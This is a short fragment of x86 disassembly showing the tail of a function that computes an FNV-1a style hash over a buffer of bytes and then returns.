sub edx, edi
sar edx, 1
add edx, edx
je 0x403df1
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x403de0
pop edi
mov eax, esi
pop esi
pop ebp
ret 8